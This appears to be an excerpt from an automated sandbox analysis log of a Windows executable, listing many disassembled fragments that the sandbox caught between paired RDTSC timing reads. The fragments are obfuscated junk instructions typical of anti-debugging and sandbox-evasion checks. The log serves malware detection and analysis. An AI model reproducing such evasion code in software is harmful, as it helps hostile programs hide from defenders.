Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 636601 second address: 636672 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FD2956E1628h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov dword ptr [ebp+1245CBAAh], edi 0x00000028 push 00000000h 0x0000002a mov ebx, dword ptr [ebp+122D2758h] 0x00000030 jmp 00007FD2956E1633h 0x00000035 push 00000000h 0x00000037 mov ebx, edx 0x00000039 mov dword ptr [ebp+122D228Ah], eax 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 jnc 00007FD2956E1628h 0x00000047 push ebx 0x00000048 jp 00007FD2956E1626h 0x0000004e pop ebx 0x0000004f popad 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FD2956E162Ch 0x00000058 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6346D5 second address: 6346D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63581F second address: 635824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6346D9 second address: 634780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 call 00007FD29532965Dh 0x0000000e mov ebx, dword ptr [ebp+122D2980h] 0x00000014 pop edi 0x00000015 push dword ptr fs:[00000000h] 0x0000001c cld 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov eax, dword ptr [ebp+122D0A25h] 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007FD295329658h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 mov dword ptr [ebp+1246E739h], edx 0x0000004a adc bx, 2435h 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push esi 0x00000054 call 00007FD295329658h 0x00000059 pop esi 0x0000005a mov dword ptr [esp+04h], esi 0x0000005e add dword ptr [esp+04h], 00000017h 0x00000066 inc esi 0x00000067 push esi 0x00000068 ret 0x00000069 pop esi 0x0000006a ret 0x0000006b mov edi, 20297C58h 0x00000070 nop 0x00000071 pushad 0x00000072 jnl 00007FD295329669h 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 635824 second address: 635896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jmp 00007FD2956E162Ch 0x00000010 pop esi 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FD2956E1628h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov di, dx 0x0000002f push dword ptr fs:[00000000h] 0x00000036 movsx ebx, si 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov dword ptr [ebp+122D2E01h], edi 0x00000046 mov eax, dword ptr [ebp+122D0FD1h] 0x0000004c or ebx, dword ptr [ebp+122D18CDh] 0x00000052 push FFFFFFFFh 0x00000054 pushad 0x00000055 mov dx, F319h 0x00000059 popad 0x0000005a push eax 0x0000005b push edi 0x0000005c push eax 0x0000005d push edx 0x0000005e push esi 0x0000005f pop esi 0x00000060 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 634780 second address: 634784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 636823 second address: 636829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 636829 second address: 63682D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63682D second address: 636831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63780F second address: 637814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6396E3 second address: 6396F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2956E162Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6396F5 second address: 63971A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD295329658h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FD295329666h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63A78D second address: 63A7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD2956E162Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63B6CB second address: 63B6D5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63B6D5 second address: 63B6D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63B6D9 second address: 63B6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FD295329658h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63B78F second address: 63B795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63B795 second address: 63B799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 63B9E2 second address: 63B9EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD2956E1626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5E4D78 second address: 5E4D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5E4D7E second address: 5E4DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2956E1630h 0x00000009 ja 00007FD2956E1626h 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jo 00007FD2956E1626h 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 642ABE second address: 642B19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD295329660h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FD295329661h 0x00000013 popad 0x00000014 pop edx 0x00000015 pushad 0x00000016 jp 00007FD29532967Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 642B19 second address: 642B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5D781F second address: 5D784A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FD29532965Eh 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FD295329661h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 646495 second address: 6464B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6464B1 second address: 6464B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 645FFC second address: 64600C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2956E162Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 64600C second address: 646010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 646010 second address: 646028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD2956E162Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 646028 second address: 646048 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FD29532966Ah 0x0000000c jmp 00007FD29532965Eh 0x00000011 je 00007FD295329656h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 646048 second address: 64604E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 64604E second address: 646054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 646054 second address: 646058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 64A448 second address: 64A452 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD295329656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 64A588 second address: 64A58C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 652E5C second address: 652E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 652E69 second address: 652E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 652E6E second address: 652E90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329668h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FD295329656h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 652E90 second address: 652E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 651AF3 second address: 651B11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Fh 0x00000007 js 00007FD295329656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 651B11 second address: 651B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 651B16 second address: 651B32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FD295329656h 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnp 00007FD295329656h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jnp 00007FD295329656h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 65222D second address: 652245 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD2956E1626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FD2956E1626h 0x00000012 jbe 00007FD2956E1626h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6523E1 second address: 65240B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD295329662h 0x00000009 jmp 00007FD295329660h 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 65240B second address: 652415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 652415 second address: 65241D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6529A2 second address: 6529BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6529BC second address: 6529C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6529C2 second address: 6529DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1638h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 65893D second address: 658943 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 658943 second address: 658954 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Ch 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 65755A second address: 657589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD295329662h 0x00000012 jmp 00007FD29532965Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 657589 second address: 657598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 657598 second address: 6575B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD295329669h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 657705 second address: 657710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD2956E1626h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 657D66 second address: 657D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 65804D second address: 658070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007FD2956E1632h 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 65819F second address: 6581A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 65861E second address: 65863A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007FD2956E1626h 0x0000000e jmp 00007FD2956E162Bh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 65863A second address: 658644 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD29532965Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 658644 second address: 658682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD2956E162Eh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD2956E1634h 0x00000013 jmp 00007FD2956E1634h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5E321C second address: 5E3221 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5E3221 second address: 5E3245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2956E1637h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FD2956E1626h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 662BEF second address: 662C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD29532965Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FD295329656h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 662C0A second address: 662C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 662C0E second address: 662C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FD29532965Ch 0x0000000e popad 0x0000000f pushad 0x00000010 jno 00007FD295329668h 0x00000016 push esi 0x00000017 jmp 00007FD295329660h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5D5C7F second address: 5D5C9B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2956E1626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FD2956E162Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5D5C9B second address: 5D5CB6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD29532965Dh 0x0000000d jnc 00007FD295329656h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A203 second address: 62A220 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jnp 00007FD2956E1626h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A305 second address: 62A34C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 4FFE53C9h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FD295329658h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a movzx ecx, bx 0x0000002d call 00007FD295329659h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A34C second address: 62A350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A350 second address: 62A361 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A361 second address: 62A367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A367 second address: 62A38E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD295329660h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jp 00007FD295329664h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A38E second address: 62A392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A6C7 second address: 62A6CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A6CB second address: 62A6E4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD2956E1626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FD2956E1628h 0x00000010 popad 0x00000011 push eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A6E4 second address: 62A6E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A6E8 second address: 62A71B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FD2956E1628h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov dh, 54h 0x00000024 push 00000004h 0x00000026 mov ecx, ebx 0x00000028 nop 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62A71B second address: 62A71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 661CBF second address: 661CDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2956E1638h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 661CDB second address: 661D07 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD295329656h 0x00000008 jg 00007FD295329656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD295329668h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 662009 second address: 66200D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
